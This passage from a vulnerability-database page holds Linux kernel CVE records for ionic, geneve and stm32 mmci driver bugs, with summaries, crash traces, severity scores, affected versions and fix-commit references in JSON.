napi_enable+0x3b/0x40\n ? asm_exc_invalid_op+0x16/0x20\n ? napi_enable+0x3b/0x40\n ionic_qcq_enable+0xb7/0x180 [ionic 59bdfc8a035436e1c4224ff7d10789e3f14643f8]\n ionic_start_queues+0xc4/0x290 [ionic 59bdfc8a035436e1c4224ff7d10789e3f14643f8]\n ionic_link_status_check+0x11c/0x170 [ionic 59bdfc8a035436e1c4224ff7d10789e3f14643f8]\n ionic_lif_deferred_work+0x129/0x280 [ionic 59bdfc8a035436e1c4224ff7d10789e3f14643f8]\n process_one_work+0x145/0x360\n worker_thread+0x2bb/0x3d0\n ? __pfx_worker_thread+0x10/0x10\n kthread+0xcc/0x100\n ? __pfx_kthread+0x10/0x10\n ret_from_fork+0x2d/0x50\n ? __pfx_kthread+0x10/0x10\n ret_from_fork_asm+0x1a/0x30"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:21:47.047Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0d19267cb150e8f76ade210e16ee820a77f684e7"
        },
        {
          "url": "https://git.kernel.org/stable/c/ff9c2a9426ecf5b9631e9fd74993b357262387d6"
        },
        {
          "url": "https://git.kernel.org/stable/c/8edd18dab443863e9e48f084e7f123fca3065e4e"
        },
        {
          "url": "https://git.kernel.org/stable/c/60cd714871cd5a683353a355cbb17a685245cf84"
        },
        {
          "url": "https://git.kernel.org/stable/c/183ebc167a8a19e916b885d4bb61a3491991bfa5"
        },
        {
          "url": "https://git.kernel.org/stable/c/a87d72b37b9ec2c1e18fe36b09241d8b30334a2e"
        },
        {
          "url": "https://git.kernel.org/stable/c/79f18a41dd056115d685f3b0a419c7cd40055e13"
        }
      ],
      "title": "ionic: fix use after netif_napi_del()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-39502",
    "datePublished": "2024-07-12T12:20:35.635Z",
    "dateReserved": "2024-06-25T14:23:23.752Z",
    "dateUpdated": "2026-05-12T11:55:35.054Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21858 (GCVE-0-2025-21858)

Vulnerability from cvelistv5 – Published: 2025-03-12 09:42 – Updated: 2026-05-12 12:04

Title

geneve: Fix use-after-free in geneve_find_dev().

Summary

In the Linux kernel, the following vulnerability has been resolved: geneve: Fix use-after-free in geneve_find_dev(). syzkaller reported a use-after-free in geneve_find_dev() [0] without repro. geneve_configure() links struct geneve_dev.next to net_generic(net, geneve_net_id)->geneve_list. The net here could differ from dev_net(dev) if IFLA_NET_NS_PID, IFLA_NET_NS_FD, or IFLA_TARGET_NETNSID is set. When dev_net(dev) is dismantled, geneve_exit_batch_rtnl() finally calls unregister_netdevice_queue() for each dev in the netns, and later the dev is freed. However, its geneve_dev.next is still linked to the backend UDP socket netns. Then, use-after-free will occur when another geneve dev is created in the netns. Let's call geneve_dellink() instead in geneve_destroy_tunnels(). [0]: BUG: KASAN: slab-use-after-free in geneve_find_dev drivers/net/geneve.c:1295 [inline] BUG: KASAN: slab-use-after-free in geneve_configure+0x234/0x858 drivers/net/geneve.c:1343 Read of size 2 at addr ffff000054d6ee24 by task syz.1.4029/13441 CPU: 1 UID: 0 PID: 13441 Comm: syz.1.4029 Not tainted 6.13.0-g0ad9617c78ac #24 dc35ca22c79fb82e8e7bc5c9c9adafea898b1e3d Hardware name: linux,dummy-virt (DT) Call trace: show_stack+0x38/0x50 arch/arm64/kernel/stacktrace.c:466 (C) __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0xbc/0x108 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0x16c/0x6f0 mm/kasan/report.c:489 kasan_report+0xc0/0x120 mm/kasan/report.c:602 __asan_report_load2_noabort+0x20/0x30 mm/kasan/report_generic.c:379 geneve_find_dev drivers/net/geneve.c:1295 [inline] geneve_configure+0x234/0x858 drivers/net/geneve.c:1343 geneve_newlink+0xb8/0x128 drivers/net/geneve.c:1634 rtnl_newlink_create+0x23c/0x868 net/core/rtnetlink.c:3795 __rtnl_newlink net/core/rtnetlink.c:3906 [inline] rtnl_newlink+0x1054/0x1630 net/core/rtnetlink.c:4021 rtnetlink_rcv_msg+0x61c/0x918 net/core/rtnetlink.c:6911 netlink_rcv_skb+0x1dc/0x398 net/netlink/af_netlink.c:2543 rtnetlink_rcv+0x34/0x50 net/core/rtnetlink.c:6938 netlink_unicast_kernel net/netlink/af_netlink.c:1322 [inline] netlink_unicast+0x618/0x838 net/netlink/af_netlink.c:1348 netlink_sendmsg+0x5fc/0x8b0 net/netlink/af_netlink.c:1892 sock_sendmsg_nosec net/socket.c:713 [inline] __sock_sendmsg net/socket.c:728 [inline] ____sys_sendmsg+0x410/0x6f8 net/socket.c:2568 ___sys_sendmsg+0x178/0x1d8 net/socket.c:2622 __sys_sendmsg net/socket.c:2654 [inline] __do_sys_sendmsg net/socket.c:2659 [inline] __se_sys_sendmsg net/socket.c:2657 [inline] __arm64_sys_sendmsg+0x12c/0x1c8 net/socket.c:2657 __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline] invoke_syscall+0x90/0x278 arch/arm64/kernel/syscall.c:49 el0_svc_common+0x13c/0x250 arch/arm64/kernel/syscall.c:132 do_el0_svc+0x54/0x70 arch/arm64/kernel/syscall.c:151 el0_svc+0x4c/0xa8 arch/arm64/kernel/entry-common.c:744 el0t_64_sync_handler+0x78/0x108 arch/arm64/kernel/entry-common.c:762 el0t_64_sync+0x198/0x1a0 arch/arm64/kernel/entry.S:600 Allocated by task 13247: kasan_save_stack mm/kasan/common.c:47 [inline] kasan_save_track+0x30/0x68 mm/kasan/common.c:68 kasan_save_alloc_info+0x44/0x58 mm/kasan/generic.c:568 poison_kmalloc_redzone mm/kasan/common.c:377 [inline] __kasan_kmalloc+0x84/0xa0 mm/kasan/common.c:394 kasan_kmalloc include/linux/kasan.h:260 [inline] __do_kmalloc_node mm/slub.c:4298 [inline] __kmalloc_node_noprof+0x2a0/0x560 mm/slub.c:4304 __kvmalloc_node_noprof+0x9c/0x230 mm/util.c:645 alloc_netdev_mqs+0xb8/0x11a0 net/core/dev.c:11470 rtnl_create_link+0x2b8/0xb50 net/core/rtnetlink.c:3604 rtnl_newlink_create+0x19c/0x868 net/core/rtnetlink.c:3780 __rtnl_newlink net/core/rtnetlink.c:3906 [inline] rtnl_newlink+0x1054/0x1630 net/core/rtnetlink.c:4021 rtnetlink_rcv_msg+0x61c/0x918 net/core/rtnetlink.c:6911 netlink_rcv_skb+0x1dc/0x398 net/netlink/af_netlink.c:2543 rtnetlink_rcv+0x34/0x50 net/core/rtnetlink.c:6938 netlink_unicast_kernel net/netlink/af_n ---truncated---

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/d5e86e27de0936f3c…
https://git.kernel.org/stable/c/5a0538ac6826807d6…
https://git.kernel.org/stable/c/f74f6560146714241…
https://git.kernel.org/stable/c/904e746b2e7fa952a…
https://git.kernel.org/stable/c/3ce92ca990cfac88a…
https://git.kernel.org/stable/c/da9b0ae47f084014b…
https://git.kernel.org/stable/c/788dbca056a8783ec…
https://git.kernel.org/stable/c/9593172d93b9f91c3…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 2d07dc79fe04a43d82a346ced6bbf07bdb523f1b , < d5e86e27de0936f3cb0a299ce519d993e9cf3886 (git) Affected: 2d07dc79fe04a43d82a346ced6bbf07bdb523f1b , < 5a0538ac6826807d6919f6aecbb8996c2865af2c (git) Affected: 2d07dc79fe04a43d82a346ced6bbf07bdb523f1b , < f74f6560146714241c6e167b03165ee77a86e316 (git) Affected: 2d07dc79fe04a43d82a346ced6bbf07bdb523f1b , < 904e746b2e7fa952ab8801b303ce826a63153d78 (git) Affected: 2d07dc79fe04a43d82a346ced6bbf07bdb523f1b , < 3ce92ca990cfac88a87c61df3cc0b5880e688ecf (git) Affected: 2d07dc79fe04a43d82a346ced6bbf07bdb523f1b , < da9b0ae47f084014b1e4b3f31f70a0defd047ff3 (git) Affected: 2d07dc79fe04a43d82a346ced6bbf07bdb523f1b , < 788dbca056a8783ec063da3c9d49a3a71c76c283 (git) Affected: 2d07dc79fe04a43d82a346ced6bbf07bdb523f1b , < 9593172d93b9f91c362baec4643003dc29802929 (git)
Linux	Linux	Affected: 4.2 Unaffected: 0 , < 4.2 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.130 , ≤ 6.1.* (semver) Unaffected: 6.6.80 , ≤ 6.6.* (semver) Unaffected: 6.12.17 , ≤ 6.12.* (semver) Unaffected: 6.13.5 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21858",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-03-12T13:19:41.982339Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-03-12T13:23:48.652Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:38:13.635Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00045.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:04:06.094Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/geneve.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d5e86e27de0936f3cb0a299ce519d993e9cf3886",
              "status": "affected",
              "version": "2d07dc79fe04a43d82a346ced6bbf07bdb523f1b",
              "versionType": "git"
            },
            {
              "lessThan": "5a0538ac6826807d6919f6aecbb8996c2865af2c",
              "status": "affected",
              "version": "2d07dc79fe04a43d82a346ced6bbf07bdb523f1b",
              "versionType": "git"
            },
            {
              "lessThan": "f74f6560146714241c6e167b03165ee77a86e316",
              "status": "affected",
              "version": "2d07dc79fe04a43d82a346ced6bbf07bdb523f1b",
              "versionType": "git"
            },
            {
              "lessThan": "904e746b2e7fa952ab8801b303ce826a63153d78",
              "status": "affected",
              "version": "2d07dc79fe04a43d82a346ced6bbf07bdb523f1b",
              "versionType": "git"
            },
            {
              "lessThan": "3ce92ca990cfac88a87c61df3cc0b5880e688ecf",
              "status": "affected",
              "version": "2d07dc79fe04a43d82a346ced6bbf07bdb523f1b",
              "versionType": "git"
            },
            {
              "lessThan": "da9b0ae47f084014b1e4b3f31f70a0defd047ff3",
              "status": "affected",
              "version": "2d07dc79fe04a43d82a346ced6bbf07bdb523f1b",
              "versionType": "git"
            },
            {
              "lessThan": "788dbca056a8783ec063da3c9d49a3a71c76c283",
              "status": "affected",
              "version": "2d07dc79fe04a43d82a346ced6bbf07bdb523f1b",
              "versionType": "git"
            },
            {
              "lessThan": "9593172d93b9f91c362baec4643003dc29802929",
              "status": "affected",
              "version": "2d07dc79fe04a43d82a346ced6bbf07bdb523f1b",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/geneve.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.2"
            },
            {
              "lessThan": "4.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.130",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.80",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.17",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.130",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.80",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.17",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.5",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "4.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ngeneve: Fix use-after-free in geneve_find_dev().\n\nsyzkaller reported a use-after-free in geneve_find_dev() [0]\nwithout repro.\n\ngeneve_configure() links struct geneve_dev.next to\nnet_generic(net, geneve_net_id)-\u003egeneve_list.\n\nThe net here could differ from dev_net(dev) if IFLA_NET_NS_PID,\nIFLA_NET_NS_FD, or IFLA_TARGET_NETNSID is set.\n\nWhen dev_net(dev) is dismantled, geneve_exit_batch_rtnl() finally\ncalls unregister_netdevice_queue() for each dev in the netns,\nand later the dev is freed.\n\nHowever, its geneve_dev.next is still linked to the backend UDP\nsocket netns.\n\nThen, use-after-free will occur when another geneve dev is created\nin the netns.\n\nLet\u0027s call geneve_dellink() instead in geneve_destroy_tunnels().\n\n[0]:\nBUG: KASAN: slab-use-after-free in geneve_find_dev drivers/net/geneve.c:1295 [inline]\nBUG: KASAN: slab-use-after-free in geneve_configure+0x234/0x858 drivers/net/geneve.c:1343\nRead of size 2 at addr ffff000054d6ee24 by task syz.1.4029/13441\n\nCPU: 1 UID: 0 PID: 13441 Comm: syz.1.4029 Not tainted 6.13.0-g0ad9617c78ac #24 dc35ca22c79fb82e8e7bc5c9c9adafea898b1e3d\nHardware name: linux,dummy-virt (DT)\nCall trace:\n show_stack+0x38/0x50 arch/arm64/kernel/stacktrace.c:466 (C)\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0xbc/0x108 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0x16c/0x6f0 mm/kasan/report.c:489\n kasan_report+0xc0/0x120 mm/kasan/report.c:602\n __asan_report_load2_noabort+0x20/0x30 mm/kasan/report_generic.c:379\n geneve_find_dev drivers/net/geneve.c:1295 [inline]\n geneve_configure+0x234/0x858 drivers/net/geneve.c:1343\n geneve_newlink+0xb8/0x128 drivers/net/geneve.c:1634\n rtnl_newlink_create+0x23c/0x868 net/core/rtnetlink.c:3795\n __rtnl_newlink net/core/rtnetlink.c:3906 [inline]\n rtnl_newlink+0x1054/0x1630 net/core/rtnetlink.c:4021\n rtnetlink_rcv_msg+0x61c/0x918 net/core/rtnetlink.c:6911\n netlink_rcv_skb+0x1dc/0x398 net/netlink/af_netlink.c:2543\n rtnetlink_rcv+0x34/0x50 net/core/rtnetlink.c:6938\n netlink_unicast_kernel net/netlink/af_netlink.c:1322 [inline]\n netlink_unicast+0x618/0x838 net/netlink/af_netlink.c:1348\n netlink_sendmsg+0x5fc/0x8b0 net/netlink/af_netlink.c:1892\n sock_sendmsg_nosec net/socket.c:713 [inline]\n __sock_sendmsg net/socket.c:728 [inline]\n ____sys_sendmsg+0x410/0x6f8 net/socket.c:2568\n ___sys_sendmsg+0x178/0x1d8 net/socket.c:2622\n __sys_sendmsg net/socket.c:2654 [inline]\n __do_sys_sendmsg net/socket.c:2659 [inline]\n __se_sys_sendmsg net/socket.c:2657 [inline]\n __arm64_sys_sendmsg+0x12c/0x1c8 net/socket.c:2657\n __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]\n invoke_syscall+0x90/0x278 arch/arm64/kernel/syscall.c:49\n el0_svc_common+0x13c/0x250 arch/arm64/kernel/syscall.c:132\n do_el0_svc+0x54/0x70 arch/arm64/kernel/syscall.c:151\n el0_svc+0x4c/0xa8 arch/arm64/kernel/entry-common.c:744\n el0t_64_sync_handler+0x78/0x108 arch/arm64/kernel/entry-common.c:762\n el0t_64_sync+0x198/0x1a0 arch/arm64/kernel/entry.S:600\n\nAllocated by task 13247:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x30/0x68 mm/kasan/common.c:68\n kasan_save_alloc_info+0x44/0x58 mm/kasan/generic.c:568\n poison_kmalloc_redzone mm/kasan/common.c:377 [inline]\n __kasan_kmalloc+0x84/0xa0 mm/kasan/common.c:394\n kasan_kmalloc include/linux/kasan.h:260 [inline]\n __do_kmalloc_node mm/slub.c:4298 [inline]\n __kmalloc_node_noprof+0x2a0/0x560 mm/slub.c:4304\n __kvmalloc_node_noprof+0x9c/0x230 mm/util.c:645\n alloc_netdev_mqs+0xb8/0x11a0 net/core/dev.c:11470\n rtnl_create_link+0x2b8/0xb50 net/core/rtnetlink.c:3604\n rtnl_newlink_create+0x19c/0x868 net/core/rtnetlink.c:3780\n __rtnl_newlink net/core/rtnetlink.c:3906 [inline]\n rtnl_newlink+0x1054/0x1630 net/core/rtnetlink.c:4021\n rtnetlink_rcv_msg+0x61c/0x918 net/core/rtnetlink.c:6911\n netlink_rcv_skb+0x1dc/0x398 net/netlink/af_netlink.c:2543\n rtnetlink_rcv+0x34/0x50 net/core/rtnetlink.c:6938\n netlink_unicast_kernel net/netlink/af_n\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:07:52.222Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d5e86e27de0936f3cb0a299ce519d993e9cf3886"
        },
        {
          "url": "https://git.kernel.org/stable/c/5a0538ac6826807d6919f6aecbb8996c2865af2c"
        },
        {
          "url": "https://git.kernel.org/stable/c/f74f6560146714241c6e167b03165ee77a86e316"
        },
        {
          "url": "https://git.kernel.org/stable/c/904e746b2e7fa952ab8801b303ce826a63153d78"
        },
        {
          "url": "https://git.kernel.org/stable/c/3ce92ca990cfac88a87c61df3cc0b5880e688ecf"
        },
        {
          "url": "https://git.kernel.org/stable/c/da9b0ae47f084014b1e4b3f31f70a0defd047ff3"
        },
        {
          "url": "https://git.kernel.org/stable/c/788dbca056a8783ec063da3c9d49a3a71c76c283"
        },
        {
          "url": "https://git.kernel.org/stable/c/9593172d93b9f91c362baec4643003dc29802929"
        }
      ],
      "title": "geneve: Fix use-after-free in geneve_find_dev().",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21858",
    "datePublished": "2025-03-12T09:42:11.343Z",
    "dateReserved": "2024-12-29T08:45:45.780Z",
    "dateUpdated": "2026-05-12T12:04:06.094Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26787 (GCVE-0-2024-26787)

Vulnerability from cvelistv5 – Published: 2024-04-04 08:20 – Updated: 2026-05-12 11:49

Title

mmc: mmci: stm32: fix DMA API overlapping mappings warning

Summary

In the Linux kernel, the following vulnerability has been resolved: mmc: mmci: stm32: fix DMA API overlapping mappings warning Turning on CONFIG_DMA_API_DEBUG_SG results in the following warning: DMA-API: mmci-pl18x 48220000.mmc: cacheline tracking EEXIST, overlapping mappings aren't supported WARNING: CPU: 1 PID: 51 at kernel/dma/debug.c:568 add_dma_entry+0x234/0x2f4 Modules linked in: CPU: 1 PID: 51 Comm: kworker/1:2 Not tainted 6.1.28 #1 Hardware name: STMicroelectronics STM32MP257F-EV1 Evaluation Board (DT) Workqueue: events_freezable mmc_rescan Call trace: add_dma_entry+0x234/0x2f4 debug_dma_map_sg+0x198/0x350 __dma_map_sg_attrs+0xa0/0x110 dma_map_sg_attrs+0x10/0x2c sdmmc_idma_prep_data+0x80/0xc0 mmci_prep_data+0x38/0x84 mmci_start_data+0x108/0x2dc mmci_request+0xe4/0x190 __mmc_start_request+0x68/0x140 mmc_start_request+0x94/0xc0 mmc_wait_for_req+0x70/0x100 mmc_send_tuning+0x108/0x1ac sdmmc_execute_tuning+0x14c/0x210 mmc_execute_tuning+0x48/0xec mmc_sd_init_uhs_card.part.0+0x208/0x464 mmc_sd_init_card+0x318/0x89c mmc_attach_sd+0xe4/0x180 mmc_rescan+0x244/0x320 DMA API debug brings to light leaking dma-mappings as dma_map_sg and dma_unmap_sg are not correctly balanced. If an error occurs in mmci_cmd_irq function, only mmci_dma_error function is called and as this API is not managed on stm32 variant, dma_unmap_sg is never called in this error path.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/0224cbc53ba82b84a…
https://git.kernel.org/stable/c/5ae5060e17a3fc38e…
https://git.kernel.org/stable/c/70af82bb9c897faa2…
https://git.kernel.org/stable/c/176e66269f0de3273…
https://git.kernel.org/stable/c/d610a307225951929…
https://git.kernel.org/stable/c/6b1ba3f9040be5efc…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 46b723dd867d599420fb640c0eaf2a866ef721d4 , < 0224cbc53ba82b84affa7619b6d1b1a254bc2c53 (git) Affected: 46b723dd867d599420fb640c0eaf2a866ef721d4 , < 5ae5060e17a3fc38e54c3e5bd8abd6b1d5bfae7c (git) Affected: 46b723dd867d599420fb640c0eaf2a866ef721d4 , < 70af82bb9c897faa25a44e4181f36c60312b71ef (git) Affected: 46b723dd867d599420fb640c0eaf2a866ef721d4 , < 176e66269f0de327375fc0ea51c12c2f5a97e4c4 (git) Affected: 46b723dd867d599420fb640c0eaf2a866ef721d4 , < d610a307225951929b9dff807788439454476f85 (git) Affected: 46b723dd867d599420fb640c0eaf2a866ef721d4 , < 6b1ba3f9040be5efc4396d86c9752cdc564730be (git)
Linux	Linux	Affected: 4.20 Unaffected: 0 , < 4.20 (semver) Unaffected: 5.10.213 , ≤ 5.10.* (semver) Unaffected: 5.15.152 , ≤ 5.15.* (semver) Unaffected: 6.1.81 , ≤ 6.1.* (semver) Unaffected: 6.6.21 , ≤ 6.6.* (semver) Unaffected: 6.7.9 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:14:13.461Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0224cbc53ba82b84affa7619b6d1b1a254bc2c53"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5ae5060e17a3fc38e54c3e5bd8abd6b1d5bfae7c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/70af82bb9c897faa25a44e4181f36c60312b71ef"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/176e66269f0de327375fc0ea51c12c2f5a97e4c4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d610a307225951929b9dff807788439454476f85"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6b1ba3f9040be5efc4396d86c9752cdc564730be"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26787",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:51:02.092511Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:51.566Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:26.809Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/mmc/host/mmci_stm32_sdmmc.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0224cbc53ba82b84affa7619b6d1b1a254bc2c53",
              "status": "affected",
              "version": "46b723dd867d599420fb640c0eaf2a866ef721d4",
              "versionType": "git"
            },
            {
              "lessThan": "5ae5060e17a3fc38e54c3e5bd8abd6b1d5bfae7c",
              "status": "affected",
              "version": "46b723dd867d599420fb640c0eaf2a866ef721d4",
              "versionType": "git"
            },
            {
              "lessThan": "70af82bb9c897faa25a44e4181f36c60312b71ef",
              "status": "affected",
              "version": "46b723dd867d599420fb640c0eaf2a866ef721d4",
              "versionType": "git"
            },
            {
              "lessThan": "176e66269f0de327375fc0ea51c12c2f5a97e4c4",
              "status": "affected",
              "version": "46b723dd867d599420fb640c0eaf2a866ef721d4",
              "versionType": "git"
            },
            {
